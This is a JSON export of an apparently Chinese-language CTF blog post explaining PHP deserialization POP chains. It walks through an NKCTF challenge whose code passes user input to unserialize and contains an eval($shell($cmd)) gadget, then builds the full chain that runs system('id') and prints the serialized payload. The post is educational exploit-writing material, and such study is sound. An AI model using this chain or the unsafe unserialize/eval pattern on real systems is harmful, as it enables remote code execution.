{"id":273,"date":"2023-03-28T13:58:27","date_gmt":"2023-03-28T05:58:27","guid":{"rendered":"https:\/\/blog.byzhb.top\/?p=273"},"modified":"2023-04-30T12:03:08","modified_gmt":"2023-04-30T04:03:08","slug":"popl","status":"publish","type":"post","link":"https:\/\/blog.byzhb.top\/index.php\/2023\/03\/28\/popl\/","title":{"rendered":"PHP\u53cd\u5e8f\u5217\u5316pop\u94fe\u7684\u6784\u9020"},"content":{"rendered":"

\u00a0<\/span>\u4e00\u3001\u4ec0\u4e48\u662fpop\u94fe\uff1a<\/h1>\n

\u5b83\u662f\u4e00\u79cd\u9762\u5411\u5c5e\u6027\u7f16\u7a0b\uff0c\u5e38\u7528\u4e8e\u6784\u9020\u8c03\u7528\u94fe\u7684\u65b9\u6cd5\u3002\u5229\u7528\u9898\u76ee\u6e90\u7801\u6240\u7ed9\u51fa\u7684\u5404\u4e2a\u7c7b\uff0c\u5c06\u5404\u4e2a\u7c7b\u4e2d\u539f\u672c\u65e0\u5bb3\u7684\u5404\u4e2a\u51fd\u6570\uff0c\u901a\u8fc7\u6784\u9020pop\u94fe\uff0c\u4f7f\u7c7b\u53ca\u5176\u51fd\u6570\u6709\u673a\u7684\u7ec4\u5408\u5728\u4e00\u8d77\uff0c\u4ece\u800c\u8fbe\u5230\u653b\u51fb\u7684\u6548\u679c<\/p>\n

\u4e8c\u3001\u4e0epop\u94fe\u6709\u5173\u7684\u9b54\u672f\u65b9\u6cd5\uff1a<\/h1>\n

__construct()\u00a0 \/\/\u5f53\u5bf9\u8c61\u521b\u5efa\u65f6\u89e6\u53d1
\n__destruct()\u00a0\u00a0 \/\/\u5f53\u5bf9\u8c61\u9500\u6bc1\u65f6\u89e6\u53d1
\n__wakeup()\u00a0\u00a0\u00a0\u00a0 \/\/\u5f53\u4f7f\u7528unserialize\u65f6\u89e6\u53d1
\n__sleep()\u00a0\u00a0\u00a0\u00a0 \/\/\u5f53\u4f7f\u7528serialize\u65f6\u89e6\u53d1
\n__destruct()\u00a0 \/\/\u5f53\u5bf9\u8c61\u88ab\u9500\u6bc1\u65f6\u89e6\u53d1
\n__call()\u00a0\u00a0\u00a0\u00a0\u00a0 \/\/\u5f53\u5bf9\u8c61\u4e0a\u4e0b\u6587\u4e2d\u8c03\u7528\u4e0d\u53ef\u8bbf\u95ee\u7684\u65b9\u6cd5\u65f6\u89e6\u53d1
\n__get()\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \/\/\u5f53\u8bbf\u95ee\u4e0d\u53ef\u8bbf\u95ee\u6216\u4e0d\u5b58\u5728<\/strong>\u7684\u5c5e\u6027\u65f6\u89e6\u53d1
\n__set()\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \/\/\u5f53\u8bbe\u7f6e\u4e0d\u53ef\u8bbf\u95ee\u6216\u4e0d\u5b58\u5728<\/strong>\u5c5e\u6027\u65f6\u89e6\u53d1
\n__toString()\u00a0 \/\/\u5f53\u628a\u7c7b\u5f53\u4f5c\u5b57\u7b26\u4e32<\/strong>\u4f7f\u7528\u65f6\u89e6\u53d1
\n__invoke()\u00a0\u00a0\u00a0 \/\/\u5f53\u5bf9\u8c61\u8c03\u7528\u4e3a\u51fd\u6570<\/strong>\u65f6\u89e6\u53d1<\/p><\/blockquote>\n

\u5176\u4e2d\u7ecf\u5e38\u7528\u5230\u7684\u4e3a_toString<\/strong>\u65b9\u6cd5\uff0c\u5f53\u8fd9\u4e2a\u7c7b\u88ab\u5f53\u505a\u5b57\u7b26\u4e32\u5904\u7406\u65f6\u81ea\u52a8\u8c03\u7528\uff0c\u6bd4\u5982\u8bf4\u5b9a\u4e49\u4e86\u4e00\u4e2aa\u7c7b\uff0c\u5f53a\u4e0e\u5904\u7406\u5b57\u7b26\u4e32\u7684\u51fd\u6570\u7ed3\u5408\u65f6\uff0c\u4fbf\u4f1a\u8c03\u7528\u6b64\u65b9\u6cd5\uff0c\u4f8b\u5982 echo $a<\/strong><\/p>\n

\u4e09\u3001pop\u94fe\u6784\u9020\u4e3e\u4f8b<\/h1>\n

\u4ee5\u4e0b\u9762\u4ee3\u7801\u4e3a\u4f8b\uff1a<\/h2>\n
\n
<?php<\/span>\r\n    class<\/span> Welcome<\/span><\/span>{\r\n        public<\/span> $name<\/span>;\r\n        public<\/span> $arg<\/span> = 'oww!man!!'<\/span>;\r\n        public<\/span> function<\/span> __construct<\/span>()<\/span>{\r\n            $this<\/span>->name = 'ItS SO CREAZY'<\/span>;\r\n        }\r\n        public<\/span> function<\/span> __destruct<\/span>()<\/span>{\r\n            if<\/span>($this<\/span>->name == 'welcome_to_NKCTF'<\/span>){\r\n                echo<\/span> $this<\/span>->arg;\r\n            }\r\n        }\r\n    } \r\n    class<\/span> Happy<\/span><\/span>{\r\n        public<\/span> $shell<\/span>;\r\n        public<\/span> $cmd<\/span>;\r\n        public<\/span> function<\/span> __invoke<\/span>()<\/span>{\r\n            $shell<\/span> = $this<\/span>->shell;\r\n            $cmd<\/span> = $this<\/span>->cmd;\r\n            eval<\/span>($shell<\/span>($cmd<\/span>));\r\n        }\r\n    }\r\n    class<\/span> Hell0<\/span><\/span>{\r\n        public<\/span> $func<\/span>;\r\n        public<\/span> function<\/span> __toString<\/span>()<\/span>{\r\n            $function<\/span> = $this<\/span>->func;\r\n            $function<\/span>();\r\n        }\r\n    }\r\necho<\/span> unserialize<\/span>($_GET<\/span>['a'<\/span>]);\r\n?><\/span><\/code><\/pre>\n
<\/div><\/span><\/p>\n<\/div>\n
pop\u94fe\u5206\u6790\uff1a<\/h2>\n
\u7b2c\u4e00\u4e2a\u7c7b\u4e3a\uff1a<\/h3>\n
\n
class<\/span> Welcome<\/span><\/span>{\r\n        public<\/span> $name<\/span>;\r\n        public<\/span> $arg<\/span> = 'oww!man!!'<\/span>;\r\n        public<\/span> function<\/span> __construct<\/span>()<\/span>{\r\n            $this<\/span>->name = 'ItS SO CREAZY'<\/span>;\r\n        }\r\n        public<\/span> function<\/span> __destruct<\/span>()<\/span>{\r\n            if<\/span>($this<\/span>->name == 'welcome_to_NKCTF'<\/span>){\r\n                echo<\/span> $this<\/span>->arg;\r\n            }\r\n        }\r\n    } <\/code><\/pre>\n
<\/div><\/span><\/p>\n<\/div>\n
\u7c7b\u4e2d\u7684\u6784\u9020\u65b9\u6cd5\u53ef\u4ee5\u5ffd\u7565\uff0c\u53cd\u5e8f\u5217\u5316\u65f6\u4e0d\u4f1a\u6267\u884c\uff0c\u5176\u4e2d\u6790\u6784\u65b9\u6cd5\u4f1a\u5728\u7c7b\u6267\u884c\u7ed3\u675f\u65f6\u81ea\u52a8\u6267\u884c\uff0c\u901a\u8fc7\u5206\u6790\u53ef\u77e5\uff0c\u5982\u679c$this->name == 'welcome_to_NKCTF<\/em>\uff0c\u4fbf\u4f1a\u8f93\u51faarg\u53d8\u91cf\uff0carg\u53d8\u91cf\u53ef\u63a7\uff0c\u53ef\u5c06\u6b64\u7c7b\u4f5c\u4e3apop\u94fe\u5934\uff0c\u4f20\u5165\u53c2\u6570<\/p>\n
\u7b2c\u4e8c\u4e2a\u7c7b\u4e3a\uff1a<\/h3>\n
\n
    class<\/span> Happy<\/span><\/span>{\r\n        public<\/span> $shell<\/span>;\r\n        public<\/span> $cmd<\/span>;\r\n        public<\/span> function<\/span> __invoke<\/span>()<\/span>{\r\n            $shell<\/span> = $this<\/span>->shell;\r\n            $cmd<\/span> = $this<\/span>->cmd;\r\n            eval<\/span>($shell<\/span>($cmd<\/span>));\r\n        }\r\n    }<\/code><\/pre>\n
<\/div><\/span><\/p>\n<\/div>\n
\u7531_invoke\u65b9\u6cd5\u53ef\u77e5\uff0c\u8be5\u7c7b\u88ab\u5f53\u505a\u51fd\u6570\u6267\u884c\u65f6\uff0c\u4f1a\u6267\u884ceval($shell($cmd))\uff0c\u8be5\u51fd\u6570\u53ef\u88ab\u6ce8\u5165\u6076\u610f\u4ee3\u7801\uff0c\u5e76\u4e14$shell\u548c$cmd\u53d8\u91cf\u90fd\u53ef\u63a7,\u53ef\u5c06\u6b64\u7c7b\u4f5c\u4e3apop\u94fe\u7ec8\u70b9\uff0c\u6267\u884c\u6076\u610f\u4ee3\u7801<\/p>\n
\u7b2c\u4e09\u4e2a\u7c7b\u4e3a\uff1a<\/h3>\n
\n
    class<\/span> Hell0<\/span><\/span>{\r\n        public<\/span> $func<\/span>;\r\n        public<\/span> function<\/span> __toString<\/span>()<\/span>{\r\n            $function<\/span> = $this<\/span>->func;\r\n            $function<\/span>();\r\n        }\r\n    }<\/code><\/pre>\n
<\/div><\/span><\/p>\n<\/div>\n
\u7531_toString\u65b9\u6cd5\u53ef\u77e5\uff0c\u8be5\u7c7b\u88ab\u5f53\u505a\u5b57\u7b26\u4e32\u6267\u884c\u65f6\uff0c\u4f1a\u6267\u884c$function()\u51fd\u6570\uff0c\u5e76\u4e14\u51fd\u6570\u540d\u53ef\u63a7\uff0c\u53ef\u5c06\u6b64\u7c7b\u4f5c\u4e3apop\u94fe\u7684\u4e2d\u90e8\uff0c\u627f\u4e0a\u542f\u4e0b<\/p>\n
\u8109\u7edc\u68b3\u7406\uff1a<\/h3>\n
\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7Welcome\u7c7b<\/strong>\u4e2d\u7684echo<\/strong>\u51fd\u6570\uff0c\u5c06Hell0<\/strong>\u7c7b\u5f53\u505a\u5b57\u7b26\u4e32\uff0c\u4ece\u800c\u8c03\u7528Hell0<\/strong>\u4e2d\u7684_toString<\/strong>\u65b9\u6cd5<\/p>\n
\u4ee3\u7801\u8868\u793a\u4e3a\uff1a<\/p>\n
\n
$a<\/span>=new<\/span> Welcome<\/span>();\r\n$c<\/span>=new<\/span> Hell0<\/span>();\r\n$a<\/span>->name='welcome_to_NKCTF'<\/span>;\r\n$a<\/span>->arg=$c<\/span>;<\/code><\/pre>\n
<\/div><\/span><\/p>\n<\/div>\n
\u7136\u540e\u53ef\u4ee5\u5c06Hell0\u7c7b<\/strong>\u4e2d\u7684$function<\/strong>\u53d8\u91cf\u8d4b\u503c\u4e3aHappy\u7c7b<\/strong>\uff0c\u4ece\u800c\u5728Hell0\u7c7b\u88ab\u5f53\u505a\u5b57\u7b26\u4e32<\/strong>\u8c03\u7528\u65f6\uff0c\u901a\u8fc7_toString<\/strong>\u65b9\u6cd5\u8c03\u7528Happy\u7c7b<\/strong>\u4e2d\u7684_invoke<\/strong>\u65b9\u6cd5\uff0c\u4ece\u800c\u6267\u884c\u6076\u610f\u4ee3\u7801<\/p>\n
\u4ee3\u7801\u8868\u793a\u4e3a\uff1a<\/p>\n
\n
\r\n$b<\/span>=new<\/span> Happy<\/span>();\r\n$c<\/span>=new<\/span> Hell0<\/span>();\r\n$b<\/span>->shell='system'<\/span>;\r\n$b<\/span>->cmd=\"id\"<\/span>;\r\n$c<\/span>->func=$b<\/span>;\r\n<\/code><\/pre>\n
<\/div><\/span><\/p>\n<\/div>\n
\u603bpop\u94fe\u4e3a\uff1a<\/h2>\n
\n
$a<\/span>=new<\/span> Welcome<\/span>();\r\n$b<\/span>=new<\/span> Happy<\/span>();\r\n$c<\/span>=new<\/span> Hell0<\/span>();\r\n$a<\/span>->name='welcome_to_NKCTF'<\/span>;\r\n$a<\/span>->arg=$c<\/span>;\r\n$c<\/span>->func=$b<\/span>;\r\n$b<\/span>->shell='system'<\/span>;\r\n$b<\/span>->cmd=\"id\"<\/span>;\r\necho<\/span> urlencode<\/span>(serialize<\/span>($a<\/span>));<\/code><\/pre>\n
<\/div><\/span><\/p>\n<\/div>\n
\u8c03\u7528\u8fc7\u7a0b \uff1aWelcome::echo\u00a0\u00a0 ->\u00a0\u00a0 Hell0::_toString\u00a0 -> Hell0::$function ->\u00a0 Happy::_invoke<\/p>\n
\u200b<\/span><\/p>\n","protected":false},"excerpt":{"rendered":"
\u7b80\u5355\u6613\u61c2\u7684\u53cd\u5e8f\u5217\u5316pop\u94fe\u6784\u9020<\/p>\n","protected":false},"author":1,"featured_media":276,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[10,1,22],"tags":[15,7,8],"class_list":["post-273","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ctf","category-uncategorized","category-webs","tag-ctf","tag-php","tag-8"],"_links":{"self":[{"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/posts\/273","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/comments?post=273"}],"version-history":[{"count":4,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/posts\/273\/revisions"}],"predecessor-version":[{"id":279,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/posts\/273\/revisions\/279"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/media\/276"}],"wp:attachment":[{"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/media?parent=273"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/categories?post=273"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/tags?post=273"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}